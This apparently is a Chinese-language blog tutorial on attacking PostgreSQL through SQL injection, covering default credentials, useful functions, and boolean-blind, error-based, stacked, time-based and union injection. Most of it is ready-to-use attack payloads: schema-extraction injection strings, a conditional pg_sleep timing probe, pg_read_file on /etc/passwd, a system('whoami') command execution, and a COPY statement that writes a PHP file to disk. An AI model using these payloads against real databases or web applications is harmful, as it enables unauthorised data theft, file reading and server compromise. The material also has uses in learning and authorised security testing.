目录

​PostgreSQL​

​PostgreSQL常用查询命令​

​布尔盲注​

​错误注入​

​堆叠注入​

​时间盲注​

​联合查询​


PostgreSQL

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),4.2版本为基础的对象关系型数据库管理系统。

PostgreSQL安装后,默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres 。

  • 注释符:--
  • 延时函数:pg_sleep(3)

PostgreSQL数据库的注入_php

PostgreSQL和MySQL一样,也有 information_schema 数据库。

PostgreSQL安装后默认是不允许其他主机连接的,如果要让其他主机连接,找到PostgreSQL安装目录下的/data/pg_hba.conf, 找到“# IPv4 local connections:”,然后在下面添加你的IP地址

host    all             all             192.168.10.1/32         md5

PostgreSQL数据库的注入_postgresql_02

PostgreSQL常用查询命令

select CURRENT_SCHEMA()           #查看当前权限
select user #查看用户
select current_user #查看当前用户
select chr(97) #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version() #查看PostgreSQL数据库版本
SELECT current_database() #查看当前数据库
select length('admin') #查看长度

select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

select pg_read_file("/etc/passwd"); #读取文件
select system("whoami"); #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件

布尔盲注

1 AND ASCII(SUBSTRING((SELECT COALESCE(CAST(COUNT(DISTINCT(schemaname)) AS CHARACTER(10000)),(CHR(32))) FROM pg_tables)::text FROM 1 FOR 1))>48

PostgreSQL数据库的注入_postgresql_03

错误注入

报错注入需要目标网站开启了报错提示。

1 AND 2518=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||(CHR(113)||CHR(112)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)

PostgreSQL数据库的注入_php_04

堆叠注入

和MySQL的堆叠注入一样,在后面加上查询语句即可。

PostgreSQL数据库的注入_php_05

时间盲注

select pg_sleep(3)

PostgreSQL数据库的注入_数据库_06

联合查询

order by 3   #查看显示列
select null,null,函数
然后接下来就是和MySQL注入一样了,关于PostgreSQL的语句可以查看SQLMap

PostgreSQL数据库的注入_数据库_07

PostgreSQL数据库的注入_php_08

PostgreSQL数据库的注入_php_09